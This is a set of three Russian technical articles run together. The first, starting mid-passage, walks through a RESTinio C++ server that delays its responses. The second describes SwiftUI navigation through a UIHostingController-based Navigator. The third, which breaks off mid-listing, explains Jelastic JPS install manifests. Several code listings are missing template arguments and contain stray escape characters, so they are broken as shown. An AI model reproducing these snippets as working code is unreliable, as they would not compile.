* в-третьих, показанный нами код ни в коем случае не претендует на звание образца качества и надежности. Это не предназначенный для продакшена код. То, что вы увидите — это quick-and-dirty прототип, который был слеплен на коленке буквально за день и еще один день был потрачен на то, чтобы хоть чуть-чуть причесать получившийся код и снабдить его поясняющими комментариями. Так что претензии вида «да кто так пишет» или «за такой говнокод нужно бить по рукам» не принимаются, т.к. мы сами себе их высказываем ;)
В общем, если какое-то из вышеперечисленных условий вам не нравится, то приносим свои извинения за отнятое время. Дальше читать нет смысла. Ну а если эти предупреждения вас не пугают, то устраивайтесь поудобнее. Надеемся, что вам будет интересно.
В чем суть разработанной имитации?
==================================
В демонстрационных целях мы с помощью RESTinio и libcurl сделали несколько приложений. Самое простое из них — это имитатор стороннего, медленно отвечающего сервера, под названием delay\_server. Для запуска имитации нужно запустить delay\_server с необходимым набором параметров (адрес, порт, желаемые времена задержек для ответов).
Так же в имитацию входит несколько «фронтов», под названием bridge\_server\_\*. Именно bridge\_server-а принимают запросы от пользователя и переадресуют запросы на delay\_server. Предполагается, что пользователь запускает сперва delay\_server, потом один из bridge\_server-ов, после чего уже начинает «обстреливать» bridge\_server удобным ему способом. Например, через curl/wget или утилиты вроде ab/wrk.
В состав имитации входит три реализации bridge\_server-ов:
* bridge\_server\_1. Очень простой вариант, в котором используется всего две рабочих нити. На одной RESTinio обрабатывает входящие HTTP-запросы, а на второй посредством [curl\_multi\_perform](https://curl.haxx.se/libcurl/c/curl_multi_perform.html) выполняются исходящие HTTP-запросы. Эта реализация будет рассматриваться во второй части серии;
* bridge\_server\_1\_pipe. Более сложный вариант bridge\_server\_1. Так же две рабочие нити, но используется дополнительный pipe для передачи нотификаций от нити RESTinio к нити libcurl-а. Изначально эту реализацию описывать мы не планировали, но если у кого-то будет интерес, то можно будет рассмотреть bridge\_server\_1\_pipe в деталях в дополнительной статье;
* bridge\_server\_2. Более сложный вариант, в котором используется пул рабочих нитей. Причем этот пул обслуживает как RESTinio, так и libcurl (используется [curl\_multi\_socket\_action](https://curl.haxx.se/libcurl/c/curl_multi_socket_action.html)). Эта реализация будет рассматриваться в заключительной части серии.
А начнем эту серию с описания реализации delay\_server-а. Благо это самая простая и, возможно, самая понятная часть. Реализации bridge\_server-ов будут куда хардкорнее.
delay\_server
=============
Что делает delay\_server?
-------------------------
delay\_server принимает HTTP GET запросы на URL-ы вида /YYYY/MM/DD, где YYYY, MM и DD — это цифровые значения. На все остальные запросы delay\_server отвечает кодом 404.
Если же приходит HTTP GET запрос на URL вида /YYYY/MM/DD, то delay\_server выдерживает паузу и затем отвечает небольшим текстом, в котором есть приветствие «Hello, World» и величина выдержанной паузы. Например, если запустить delay\_server с параметрами:
```
delay_server -a localhost -p 4040 -m 1500 -M 4000
```
т.е. он будет слушать на localhost:4040 и выдерживать паузу для ответов между 1.5s и 4.0s. Если затем выполнить:
```
curl -4 http://localhost:4040/2018/02/22
```
то получим:
```
Hello world!
Pause: 2347ms.
```
Ну или можно включить трассировку происходящего. Для сервера это:
```
delayed_server -a localhost -p 4040 -m 1500 -M 4000 -t
```
Для curl-а это:
```
curl -4 -v http://localhost:4040/2018/02/22
```
Для delay\_server-а мы увидим что-то вроде:
```
[2018-02-22 16:47:54.441] TRACE: starting server on 127.0.0.1:4040
[2018-02-22 16:47:54.441] INFO: init accept #0
[2018-02-22 16:47:54.441] INFO: server started on 127.0.0.1:4040
[2018-02-22 16:47:57.040] TRACE: accept connection from 127.0.0.1:38468 on socket #0
[2018-02-22 16:47:57.041] TRACE: [connection:1] start connection with 127.0.0.1:38468
[2018-02-22 16:47:57.041] TRACE: [connection:1] start waiting for request
[2018-02-22 16:47:57.041] TRACE: [connection:1] continue reading request
[2018-02-22 16:47:57.041] TRACE: [connection:1] received 88 bytes
[2018-02-22 16:47:57.041] TRACE: [connection:1] request received (#0): GET /2018/02/22
[2018-02-22 16:47:59.401] TRACE: [connection:1] append response (#0), flags: { final_parts, connection_keepalive }, bufs count: 2
[2018-02-22 16:47:59.401] TRACE: [connection:1] sending resp data, buf count: 2
[2018-02-22 16:47:59.402] TRACE: [connection:1] outgoing data was sent: 206 bytes
[2018-02-22 16:47:59.402] TRACE: [connection:1] should keep alive
[2018-02-22 16:47:59.402] TRACE: [connection:1] start waiting for request
[2018-02-22 16:47:59.402] TRACE: [connection:1] continue reading request
[2018-02-22 16:47:59.403] TRACE: [connection:1] EOF and no request, close connection
[2018-02-22 16:47:59.403] TRACE: [connection:1] close
[2018-02-22 16:47:59.403] TRACE: [connection:1] destructor called
```
и для curl-а:
```
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 4040 (#0)
> GET /2018/02/22 HTTP/1.1
> Host: localhost:4040
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Connection: keep-alive
< Content-Length: 28
< Server: RESTinio hello world server
< Date: Thu, 22 Feb 2018 13:47:59 GMT
< Content-Type: text/plain; charset=utf-8
<
Hello world!
Pause: 2360ms.
* Connection #0 to host localhost left intact
```
Как delay\_server это делает?
-----------------------------
delay\_server представляет из себя простое однопоточное C++ приложение. На главной нити запускается встроенный HTTP-сервер, который дергает назначенный пользователем callback при получении запроса на подходящий URL. Этот callback создает Asio-шный таймер и взводит созданный таймер на случайно выбранную паузу (пауза выбирается так, чтобы попасть в заданные при запуске delay\_server пределы). После чего callback возвращает управление HTTP-серверу, что дает возможность серверу принять и обработать следующий запрос. Когда срабатывает взведенный callback-ом таймер, то формируется и отсылается ответ на ранее полученный HTTP-запрос.
Разбор реализации delay\_server
===============================
Функция main()
--------------
Разбор реализации delay\_server начнем сразу с функции main(), постепенно объясняя то, что происходит внутри и вне main()-а.
Итак, код main() выглядит следующим образом:
```
int main(int argc, char ** argv) {
try {
const auto cfg = parse_cmd_line_args(argc, argv);
if(cfg.help_requested_)
return 1;
// Нам нужен собственный io_context для того, чтобы мы могли с ним
// работать напрямую в обработчике запросов.
restinio::asio_ns::io_context ioctx;
// Так же нам потребуется генератор случайных задержек в выдаче ответов.
pauses_generator_t generator{cfg.config_.min_pause_, cfg.config_.max_pause_};
// Нам нужен обработчик запросов, который будет использоваться
// вне зависимости от того, какой именно сервер мы будем запускать
// (с трассировкой происходящего или нет).
auto actual_handler = [&ioctx, &generator](auto req, auto /*params*/) {
return handler(ioctx, generator, std::move(req));
};
// Если должна использоваться трассировка запросов, то должен
// запускаться один тип сервера.
if(cfg.config_.tracing_) {
run_server(
ioctx, cfg.config\_, std::move(actual\_handler));
}
else {
// Трассировка не нужна, запускается другой тип сервера.
run\_server(
ioctx, cfg.config\_, std::move(actual\_handler));
}
// Все, теперь ждем завершения работы сервера.
}
catch( const std::exception & ex ) {
std::cerr << "Error: " << ex.what() << std::endl;
return 2;
}
return 0;
}
```
Что здесь происходит?
Во-первых, мы разбираем аргументы командной строки и получаем объект с конфигурацией для delay\_server-а.
Во-вторых, мы создаем несколько объектов, которые нам понадобятся:
* экземпляр asio::io\_context, который будет использоваться как для обработки IO-операций HTTP-сервера, так и для таймеров, которые будут взводится в обработчике входящих HTTP-запросов;
* генератор случайных задержек, который нужен как раз для того, чтобы HTTP-сервер медленно отвечал на запросы;
* лямбда-функция, сохраненная в переменную actual\_handler, которая и будет тем самым callback-ом, вызываемым HTTP-сервером для входящих HTTP-запросов. У этого callback-а должен быть определенный формат. Но функция handler(), которая и выполняет фактическую обработку запросов и о которой речь пойдет ниже, имеет другой формат и требует дополнительных аргументов. Вот лямбда-функция и захватывает нужные handler()-у аргументы, выставляя наружу ту сигнатуру, которую требует RESTinio.
В-третьих, мы запускаем HTTP-сервер. Но запуск делается с учетом того, хочет ли пользователь видеть трассировку работы сервера или нет. Тут в дело вступает небольшая шаблонная магия, которую мы активно используем в RESTinio и о которой [уже немного рассказывали ранее](https://habrahabr.ru/post/345788/).
Вот, собственно и весь delay\_server :)
Но дьявол, как водится, в деталях. Поэтому пойдем дальше, рассмотрим что же прячется за этими простыми действиями.
Конфигурация и разбор командной строки
--------------------------------------
В delay\_server используется очень простая структура для описания конфигурации сервера:
```
// Конфигурация, которая потребуется серверу.
struct config_t {
// Адрес, на котором нужно слушать новые входящие запросы.
std::string address_{"localhost"};
// Порт, на котором нужно слушать.
std::uint16_t port_{8090};
// Минимальная величина задержки перед выдачей ответа.
milliseconds min_pause_{4000};
// Максимальная величина задержки перед выдачей ответа.
milliseconds max_pause_{6000};
// Нужно ли включать трассировку?
bool tracing_{false};
};
```
Разбор командной строки довольно таки объемный, поэтому погружаться в него особо не будем. Но желающие могут заглянуть под спойлер, чтобы составить впечатление о происходящем.
**Детали разбора аргументов командной строки**
```
// Разбор аргументов командной строки.
// В случае неудачи порождается исключение.
auto parse_cmd_line_args(int argc, char ** argv) {
struct result_t {
bool help_requested_{false};
config_t config_;
};
result_t result;
long min_pause{result.config_.min_pause_.count()};
long max_pause{result.config_.max_pause_.count()};
// Подготавливаем парсер аргументов командной строки.
using namespace clara;
auto cli = Opt(result.config_.address_, "address")["-a"]["--address"]
("address to listen (default: localhost)")
| Opt(result.config_.port_, "port")["-p"]["--port"]
("port to listen (default: 8090)")
| Opt(min_pause, "minimal pause")["-m"]["--min-pause"]
("minimal pause before response, milliseconds")
| Opt(max_pause, "maximum pause")["-M"]["--max-pause"]
("maximal pause before response, milliseconds")
| Opt(result.config_.tracing_)["-t"]["--tracing"]
("turn server tracing ON (default: OFF)")
| Help(result.help_requested_);
// Выполняем парсинг...
auto parse_result = cli.parse(Args(argc, argv));
// ...и бросаем исключение если столкнулись с ошибкой.
if(!parse_result)
throw std::runtime_error("Invalid command line: "
+ parse_result.errorMessage());
if(result.help_requested_)
std::cout << cli << std::endl;
else {
// Некоторые аргументы нуждаются в дополнительной проверке.
if(min_pause <= 0)
throw std::runtime_error("minimal pause can't be less or equal to 0");
if(max_pause <= 0)
throw std::runtime_error("maximal pause can't be less or equal to 0");
if(max_pause < min_pause)
throw std::runtime_error("minimal pause can't be less than "
"maximum pause");
result.config_.min_pause_ = milliseconds{min_pause};
result.config_.max_pause_ = milliseconds{max_pause};
}
return result;
}
```
Для разбора мы попробовали использовать [новую библиотеку Clara](https://github.com/catchorg/Clara) от автора широко известной в узких кругах библиотеки для unit-тестов в C++ под названием [Catch2](https://github.com/catchorg/Catch2) (в девичестве просто Catch).
В общем-то здесь ничего сложного за исключением одного фокуса: функция parse\_cmd\_line\_args возвращает экземпляр локально определенной структуры. По хорошему, здесь следовало бы возвращать что-то вроде:
```
struct help_requested_t {};
using cmd_line_args_parsing_result_t = variant;
```
Но в C++14 std::variant нет, а тащить какую-то реализацию variant/either из сторонней библиотеки или же полагаться на наличие std::experimental::variant не хотелось. Поэтому сделали вот так. Код, конечно, попахивает, но для слепленной на коленке имитации пойдет.
Генератор случайных задержек
----------------------------
Тут вообще все просто, обсуждать, в принципе, нечего. Поэтому просто код. Ради того, чтобы был.
**Реализация pauses\_generator\_t**
```
// Вспомогательный тип для генерации случайных задержек.
class pauses_generator_t {
std::mt19937 generator_{std::random_device{}()};
std::uniform_int_distribution distrib\_;
const milliseconds minimal\_;
public:
pauses\_generator\_t(milliseconds min, milliseconds max)
: distrib\_{0, (max - min).count()}
, minimal\_{min}
{}
auto next() {
return minimal\_ + milliseconds{distrib\_(generator\_)};
}
};
```
Требуется лишь дергать метод next() когда это нужно и будет возвращена случайная величина в диапазоне [min, max].
Функция handler()
-----------------
Один из ключевых элементов реализации delay\_server — это небольшая функция handler(), внутри которой и происходит обработка входящих HTTP-запросов. Вот весь код этой функции:
```
// Реализация обработчика запросов.
restinio::request_handling_status_t handler(
restinio::asio_ns::io_context & ioctx,
pauses_generator_t & generator,
restinio::request_handle_t req) {
// Выполняем задержку на случайную величину (но в заданных пределах).
const auto pause = generator.next();
// Для отсчета задержки используем Asio-таймеры.
auto timer = std::make_shared(ioctx);
timer->expires\_after(pause);
timer->async\_wait([timer, req, pause](const auto & ec) {
if(!ec) {
// Таймер успешно сработал, можно генерировать ответ.
req->create\_response()
.append\_header(restinio::http\_field::server, "RESTinio hello world server")
.append\_header\_date\_field()
.append\_header(restinio::http\_field::content\_type, "text/plain; charset=utf-8")
.set\_body(
fmt::format("Hello world!\nPause: {}ms.\n", pause.count()))
.done();
}
} );
// Подтверждаем, что мы приняли запрос к обработке и что когда-то
// мы ответ сгенерируем.
return restinio::request\_accepted();
}
```
Эта функция (посредством лямбды, созданной в main()-е) вызывается каждый раз, как HTTP-сервер принимает входящий GET-запрос на нужный URL. Сам входящий HTTP-запрос передается в параметре req типа restinio::request\_handle\_t.
Этот самый restinio::request\_handle\_t представляет из себя умный указатель на объект с содержимым HTTP-запроса. Что позволяет сохранить значение req и воспользоваться им позже. Именно это и является одним из краеугольных камней в асинхронности RESTinio: RESTinio дергает предоставленный пользователем callback и передает в этот callback экземпляр request\_handle\_t. Пользователь может либо сразу сформировать HTTP-ответ внутри callback-а (и тогда это будет тривиальная синхронная обработка), либо же может сохранить req у себя или передать req какой-то другой нити. После чего вернуть управление RESTinio. И сформировать ответ позже, когда для этого наступит подходящее время.
В данном случае создается экземпляр asio::steady\_timer и req сохраняется в лямбда-функции, передаваемой в async\_wait для таймера. Соответственно, объект HTTP-запроса сохраняется до тех пор, пока не сработает таймер.
Очень важный момент в handler()-е — это возвращаемое им значение. По возвращаемому значению RESTinio понимает взял ли пользователь ответственность за формирование ответа на запрос или нет. В данном случае возвращается значение request\_accepted, что означает, что пользователь пообещал RESTinio сформировать ответ на входящий HTTP-запрос позже.
А вот если бы handler() возвратил, скажем, request\_rejected(), то RESTinio бы закончил обработку запроса и ответил бы пользователю кодом 501.
Итак, handler() вызывается когда приходит входящий HTTP-запрос на нужный URL (почему именно так рассматривается ниже). В handler-е вычисляется величина задержки для ответа. После чего создается и взводится таймер. Когда таймер сработает, будет сформирован ответ на запрос. Ну и handler() обещает RESTinio сформировать ответ на запрос путем возврата request\_accepted.
Вот, собственно, и все. Маленькая мелочь: для формирования тела ответа используется [fmtlib](https://github.com/fmtlib/fmt). В принципе, здесь без нее можно было бы и обойтись. Но, во-первых, нам fmtlib очень нравится и мы используем fmtlib при удобном случае. И, во-вторых, нам fmtlib все равно потребовалась в bridge\_server-ах, так что не было смысла отказываться от нее в delay\_server.
Функция run\_server()
---------------------
Функция run\_server() отвечает за настройку и запуск HTTP-сервера. Она определяет какие запросы HTTP-сервер будет обрабатывать и как HTTP-сервер будет отвечать на все остальные запросы.
Так же в run\_server() определяется где будет работать HTTP-сервер. Для случая delay\_server это будет главная нить приложения.
Давайте сперва посмотрим на код run\_server(), а потом рассмотрим несколько важных моментов, о которых мы еще не говорили.
Итак, вот код:
```
template
void run\_server(
restinio::asio\_ns::io\_context & ioctx,
const config\_t & config,
Handler && handler) {
// Сперва создадим и настроим объект express-роутера.
auto router = std::make\_unique();
// Вот этот URL мы готовы обрабатывать.
router->http\_get(
R"(/:year(\d{4})/:month(\d{2})/:day(\d{2}))",
std::forward(handler));
// На все остальное будем отвечать 404.
router->non\_matched\_request\_handler([](auto req) {
return req->create\_response(404, "Not found")
.append\_header\_date\_field()
.connection\_close()
.done();
});
restinio::run(ioctx,
restinio::on\_this\_thread()
.address(config.address\_)
.port(config.port\_)
.handle\_request\_timeout(config.max\_pause\_)
.request\_handler(std::move(router)));
}
```
Что в ней происходит и почему это происходит именно так?
Во-первых, для delay\_server будет использоваться функциональность, аналогичная системе роутинга запросов [expressjs](https://expressjs.com/). В RESTinio это называется [Express router](https://stiffstream.com/en/docs/restinio/0.4/expressrouter.html).
Нужно создать экземпляр объекта, который отвечает за маршрутизацию запросов на основе регулярных выражений. После чего в этот объект нужно поместить список маршрутов и задать каждому маршруту свой обработчик. Что мы и делаем. Создаем обработчик:
```
auto router = std::make_unique();
```
И указываем интересующий нас маршрут:
```
router->http_get(
R"(/:year(\d{4})/:month(\d{2})/:day(\d{2}))",
std::forward(handler));
```
После чего еще и задаем обработчик для всех остальных запросов. Который просто будет отвечать кодом 404:
```
router->non_matched_request_handler([](auto req) {
return req->create_response(404, "Not found")
.append_header_date_field()
.connection_close()
.done();
});
```
На этом подготовка нужного нам Express router-а завершается.
Во-вторых, при вызове run() мы указываем, что HTTP-сервер должен использовать заданный io\_context и должен работать на той самой нити, на которой и сделали вызов run(). Плюс к тому для сервера задаются параметры из конфигурации (т.к. IP-адрес и порт, максимально допустимое время для обработки запросов и сам обработчик):
```
restinio::run(ioctx,
restinio::on_this_thread()
.address(config.address\_)
.port(config.port\_)
.handle\_request\_timeout(config.max\_pause\_)
.request\_handler(std::move(router)));
```
Здесь использование on\_this\_thread как раз и заставляет RESTinio запустить HTTP-сервер на контексте той же самой нити.
### Почему run\_server() — это шаблон?
Функция run\_server() является функцией-шаблоном, зависящей от двух параметров:
```
template
void run\_server(
restinio::asio\_ns::io\_context & ioctx,
const config\_t & config,
Handler && handler);
```
Для того, чтобы пояснить, почему это так, начнем со второго шаблонного параметра — Handle.
Внутри main() мы создаем актуальный обработчик запросов в виде лямбда-функции. Реальный тип этой лямбды знает только компилятор. Поэтому для того, чтобы передать лямбду-обработчик в run\_server() нам и нужен шаблонный параметр Handle. С его помощью компилятор сам выведет нужный тип аргумента handler в run\_server().
А вот с параметром Server\_Traits ситуация чуть посложнее. Дело в том, что HTTP-серверу в RESTinio нужно задать набор свойств, которые будут определять различные аспекты поведения и реализации сервера. Например, будет ли сервер приспособлен к работе в многопоточном режиме. Будет ли сервер выполнять логирование выполняемых им операций и т.д. Все это задается шаблонным параметром Traits для класса restinio::http\_server\_t. В данном примере этого класса не видно, т.к. экземпляр http\_server\_t создается внутри run(). Но все равно Traits должны быть заданы. Как раз шаблонный параметр Server\_Traits функции run\_server() и задает Traits для http\_server\_t.
Нам в delay\_server потребовалось определить два разных типа Traits:
```
// Мы будем использовать express-router. Для простоты определяем псевдоним
// для нужного типа.
using express_router_t = restinio::router::express_router_t<>;
// Так же нам потребуются два вспомогательных типа свойств для http-сервера.
// Первый тип для случая, когда трассировка сервера не нужна.
struct non_traceable_server_traits_t : public restinio::default_single_thread_traits_t {
using request_handler_t = express_router_t;
};
// Второй тип для случая, когда трассировка сервера нужна.
struct traceable_server_traits_t : public restinio::default_single_thread_traits_t {
using request_handler_t = express_router_t;
using logger_t = restinio::single_threaded_ostream_logger_t;
};
```
Первый тип, non\_traceable\_server\_traits\_t, используется когда сервер не должен логировать свои действия. Второй тип, traceable\_server\_traits\_t, используется когда логирование должно быть.
Соответственно, внутри функции main(), в зависимости от наличия или отсутствия ключа "-t", функция run\_server() вызывается либо с non\_traceable\_server\_traits\_t, либо с traceable\_server\_traits\_t:
```
// Если должна использоваться трассировка запросов, то должен
// запускаться один тип сервера.
if(cfg.config_.tracing_) {
run_server(
ioctx, cfg.config\_, std::move(actual\_handler));
}
else {
// Трассировка не нужна, запускается другой тип сервера.
run\_server(
ioctx, cfg.config\_, std::move(actual\_handler));
}
```
Так что назначение нужных свойств HTTP-серверу — это еще одна причина того, почему run\_server() является функцией-шаблоном.
Более детально тема Traits для restinio::http\_server\_t затронута [в нашей предыдущей статье о RESTinio](https://habrahabr.ru/post/345788/).
Заключение первой части
=======================
Вот, собственно, и все, что можно было рассказать о реализации delay\_server-а на базе RESTinio. Надеемся, что описанный материал оказался понятен. Если нет, то с удовольствием ответим на вопросы в комментариях.
В последующих статьях мы уже будем говорить о примерах интеграции RESTinio и curl\_multi, разбирая реализации bridge\_server\_1 и bridge\_server\_2. Там части, которые относятся именно к RESTinio, будут не объемнее и не сложнее того, что мы показали в этой статье. А основной объем кода и основная сложность будет проистекать из-за curl\_multi. Но это уже совсем другая история…
[Продолжение](https://habrahabr.ru/post/349818/) следует. | https://habr.com/ru/post/349728/ | null | ru | null |
# Адаптируем существующее бизнес-решение под SwiftUI. Часть 4. Навигация и конфигурация
Доброго всем времени суток! С вами я, Анна Жаркова, ведущий мобильный разработчик компании [«Usetech»](https://usetech.ru/)
Теперь поговорим об еще одном интересном моменте в SwiftUI, о навигации.
Если вы пропустили предыдущие статьи цикла, то можете ознакомиться с ними по ссылке:
[часть 1](https://habr.com/ru/post/500194/)
[часть 2](https://habr.com/ru/post/500386/)
[часть 3](https://habr.com/ru/post/500470/)
С изменением описания визуальной части и переходом к декларативному синтаксису изменилось и управление навигацией в приложении SwiftUI. Использование UIViewContoller напрямую отрицается, UINavigationController напрямую не используется. На смену ему приходит NavigationView.
```
@available(iOS 13.0, OSX 10.15, tvOS 13.0, *)
@available(watchOS, unavailable)
public struct NavigationView : View where Content : View {
public init(@ViewBuilder content: () -> Content)
//....
}
```
По сути обертка над UINavigationController и его функционалом.
Основным механизмом перехода является NavigationLink (аналог segue), который задается сразу же в коде body View.
```
public struct NavigationLink : View where Label : View,
Destination : View {
.
public init(destination: Destination, @ViewBuilder label: () -> Label)
public init(destination: Destination, isActive: Binding,
@ViewBuilder label: () -> Label)
public init(destination: Destination, tag: V, selection: Binding,
@ViewBuilder label: () -> Label) where V : Hashable
//....
}
```
При создании NavigationLink указывает View, на который осуществляется переход, а также View, который NavigationLink оборачивает, т.е при взаимодействии с которым NavigationLink активизируется. Больше информации о возможных способах инициализации NavigationLink в [документации Apple](https://developer.apple.com/documentation/swiftui/navigationlink)
Однако стоит учитывать, что из-за инкапсуляции прямого доступа к стеку View нет, навигация программно задается только вперед, возврат возможен только на 1 уровень назад и то через инкапсулированный код для кнопки «Back»
Также в SwiftUI нет динамической программной навигации. Если переход привязан не к триггерному-событию, например, нажатию на кнопку, а следует как результат какой-то логики, то просто так это не сделать. Переход на следующий View обязательно привязывается к механизму NavigationLink, которые задаются декларативно сразу же при описании содержащего их View. Все.
Если наш экран должен содержать переход на много разных экранов, то код становится громоздким:
```
NavigationView{
NavigationLink(destination: ProfileView(), isActive: self.$isProfile) {
Text("Profile")
}
NavigationLink(destination: Settings(), isActive: self.$isSettings) {
Text("Settings")
}
NavigationLink(destination: Favorite(), isActive: self.$isFavorite) {
Text("Favorite")
}
NavigationLink(destination: Login(), isActive: self.$isLogin) {
Text("Login")
}
NavigationLink(destination: Search(), isActive: self.$isSearch) {
Text("Search")
}
}
```
Управлять ссылками мы можем несколькими способами:
— управление активностью NavigationLink через @Binding свойство
```
NavigationLink(destination: ProfileView(), isActive: self.$isProfile) {
Text("Profile")
}
```
— управление созданием ссылки через условие (переменные состояния)
```
if self.isProfile {
NavigationLink(destination: ProfileView()) {
Text("Profile")
}
}
```
Первый способ добавляет нам работы по контролю за состоянием управляющих переменных.
Если у нас планируется навигация на более, чем 1 уровень вперед, то это весьма тяжелая задача.
В случае экрана списка однотипных элементов все выглядит компактно:
```
NavigationView{
List(model.data) { item in
NavigationLink(destination: NewsItemView(item:item)) {
NewsItemRow(data: item)
}
}
```
Самой серьезной проблемой NavigationLink, на мой взгляд, является то, что все указываемые в ссылках View не lazy. Они создаются не в момент срабатывания ссылки, а в момент создания. Если у нас список на множество элементов или переходы на много разных тяжелых по контенту View, то это не лучшим образом сказывается на performance нашего приложения. Если же еще у нас к этим View привязаны ViewModel с логикой, в реализации которой не учтен или учтен не верно life-cycle View, то ситуация становится совсем тяжелой.
Например, у нас есть список новостей с однотипными элементами. Мы еще ни разу не перешли ни на один экран единичной новости, а модели уже висят в памяти:
Что мы можем сделать в этом случае, чтобы облегчить себе жизнь?
Во-первых, вспомним, что View существуют не в вакууме, а рендерятся в UIHostingController.
```
open class UIHostingController : UIViewController where Content : View {
public init(rootView: Content)
public var rootView: Content
//...
}
```
А это UIViewController. Значит, мы можем сделать следующее. Мы перенесем всю ответственность за переход на следующий View внутри нового UIHostingController на контроллер текущего View. Создадим модули навигации и конфигурации, которые будем вызывать из нашего View.
Навигатор, работающий с UIViewController, будет иметь такой вид:
```
class Navigator {
private init(){}
static let shared = Navigator()
private weak var view: UIViewController?
internal weak var nc: UINavigationController?
func setup(view: UIViewController) {
self.view = view
}
internal func open(screen: Content.Type, \_ data: Any? = nil) {
if let vc = ModuleConfig.shared.config(screen: screen)?
.createScreen(data) {
self.nc?.pushViewController(vc, animated: true)
}
}
```
По тому же принципу мы создадим фабрику конфигураторов, которая будет нам выдавать реализацию конфигуратора конкретного модуля:
```
protocol IConfugator: class {
func createScreen(_ data: Any?)->UIViewController
}
class ModuleConfig{
private init(){}
static let shared = ModuleConfig()
func config(screen: Content.Type)->IConfugator? {
if screen == NewsListView.self {
return NewsListConfigurator.shared
}
//код какой-то
return nil
}
}
```
Навигатор по типу экрана запрашивает конфигуратор конкретного модуля, передает ему всю необходимую информацию.
```
class NewsListConfigurator: IConfugator {
static let shared = NewsListConfigurator()
func createScreen(_ data: Any?) -> UIViewController {
var view = NewsListView()
let presenter = NewsListPresenter()
let interactor = NewsListInteractor()
interactor.output = presenter
presenter.output = view
view.output = interactor
let vc = UIHostingController>
(rootView: ContainerView(content: view))
return vc
}
}
```
Конфигуратор отдает UIViewController, который Navigator и кладет в общий стек UINavigationController.
Заменим NavigationLink в коде на вызов Navigator. В качестве триггера у нас будет событие нажатия на элемент списка:
```
List(model.data) { item in
NewsItemRow(data: item)
.onTapGesture {
Navigator.shared.open(screen: NewsItemView.self, item)
}
}
```
Ничего не мешает нам таким же образом вызывать Navigator в любом методе View. Не только внутри body.
Кроме того, что код стал ощутимо чище, мы еще и разгрузили память. Ведь при таком подходе View создастся только при вызове.
Теперь наше приложение SwiftUI проще расширять и модифицировать. Код чистый и красивый.
Код примера вы найдете по [ссылке](https://github.com/anioutkazharkova/swiftui_tutorials_guide).
В следующий раз поговорим про более глубокое внедрение Combine. | https://habr.com/ru/post/500492/ | null | ru | null |
# Автоматизация развертывания приложений в 1 клик на платформе InfoboxCloud Jelastic с JPS
Цель [платформы Jelastic](http://infoboxcloud.ru/paas/) — сделать использование сложных технологий простым и понятным. Наша цель — сократить время, которое разработчики обычно тратят на выполнение рутинных задач для повышения эффективности работы. Однако всегда найдется то, что можно сделать лучше.
В этой статье мы рассмотрим решение, позволяющее автоматизировать установку приложения в один клик — **Jelastic Packaging Standard (JPS)**. Мы опишем, как запаковать приложение в качестве готового к использованию продукта.
[](http://infoboxcloud.ru/paas/)
#### Общая информация
JPS — это стандарт, который может быть использован для создания шаблонов приложений, готовых для установки в Jelastic за 1 клик. В настоящий момент, система поддерживает приложения на Java, PHP и Ruby. В будущем, мы планируем добавить поддержку и других языков программирования.
JPS упрощает установку и конфигурацию приложения для конечного пользователя, управляет процессом развертывания приложения, определяет набор его свойств и конфигурацию кластера, в котором будет работать приложение. JPS также указывает количество необходимых ресурсов и пределы масштабирования для каждого контейнера в окружении.
Используя JPS, можно предложить пользователям виджет для быстрой установки приложений. Это способствует распространению приложения и росту продаж. Привлечь пользователей становится проще из-за легкости установки и настройки. Помимо этого, снижаются траты на поддержку и прочие моменты, связанные с распространением приложения.
#### Процесс установки с JPS
Каждый установочный виджет содержит **манифест приложения** (или ссылку на него) с описанием топологии окружения, необходимого для корректной работы, а также инструкции по установке и настройке. Манифест JPS основан на **JSON**.
Для начала установки подготовленного приложения пользователь должен нажать на виджет и ввести действующий e-mail. На указанный адрес будет выслано письмо, по ссылке из которого нужно перейти для инициалиазии установки. Пользователь будет перенеправлен в панель управления Jelastic, где он сможет произвести подтверждение действия.
После этого Jelastic потребуется несколько минут для завершения процесса установки. Стоит отметить, что фактическая продолжительность зависит от выбранного приложения, его свойств и характеристик. Jelastic опирается на манифест и создает необходимые ноды: серверы приложений, базы данных, балансировщик нагрузки и так далее. В результате пользователь получает полностью работоспособное приложение без каких-либо ручных операций.
Ниже мы подробно рассмотрим техническую сторону подготовки манифеста и создания виджета. И конечно мы покажем как выглядит установка в один клик со стороны конечного пользователя.
#### Манифест приложения
Прежде чем запаковать приложение, мы рекомендуем развернуть его в облаке Jelastic вручную и проверить, все ли работает как необходимо. Это стоит сделать, чтобы точно знать, какую конфигурацию нужно указать в манифесте.
Для создания манифеста, полностью подходящего под требования **JSON**, можно использовать [JSON Formatter & Validator](http://jsonformatter.curiousconcept.com) или <http://pro.jsonlint.com>. Ваш код должен содержать набор строк, необходимых для успешной установки приложения.
##### Содержимое манифеста
Обязательная часть манифеста содержит несколько строк:
```
{
"jpsVersion":"0.2"
"jpsType": "install",
"application": { }
}
```
Этa часть содержит информацию о версии JPS и типе установки приложения (например, “install” запускает процесс создания нового окружения, которое подходит для деплоя).
##### Параметры приложения
Указанный выше код необходимо расширить в соответствии с настройками приложения, которое вы собираетесь упаковать по стандарту JPS. Сведения о конфигурации включены в параметр “application”: { }
В первую очередь нужно описать некоторую общую информацию о приложении. К примеру, название, версия, язык программирования и прочее.
**Пример кода для OpenCMS, которая содержит базовую информацию о приложении:**
```
{ application: {
"id":"opencms",
"name":"OpenCMS",
"version":"8.5",
"logo":"",
"type":"java",
"homepage": "",
"description": {
"en": "OpenCMS from Alkacon Software is a professional, easy to use website content management system. OpenCms helps content managers worldwide to create and maintain beautiful websites fast and efficiently.",
"ru": "Russian description"
},
"startPage" : "/install.jsp",
"success": {
"text": "Dashboard success text",
"email": "Email success text"
}
}}
```
Подробную информацию о доступных параметрах можно почитать в [документации по JPS](http://docs.jelastic.com/application-manifest#ad).
##### Параметры окружения
Здесь вам нужно указать сведения об окружении, которое требуется приложению для оптимальной работы. Настройки указанные в этой части кода будут использованы при создании и конфигурации окружения необходимого для установки пакета.
Используейте параметр **“env”: { }** для описания всех необходимых значений. При этом нужно учитывать возможные варианты, которые [перечислены в документации](http://docs.jelastic.com/application-manifest#ec).
Из параметров можно использовать:
**“topology”:{ }** содержит данные о языке программирования окружения, данные о необходимых нодах и позволяет использовать такие дополнительные функции как High Availability и SSL.
```
"topology":{
"ha":"value",
"engine":"value",
"ssl":"value",
"nodes":[ ]
},
```
**“deployments”:[ ]** отвечает за процесс деплоя приложения в готовом окружении.
```
"deployments":[
{
"archive":"value",
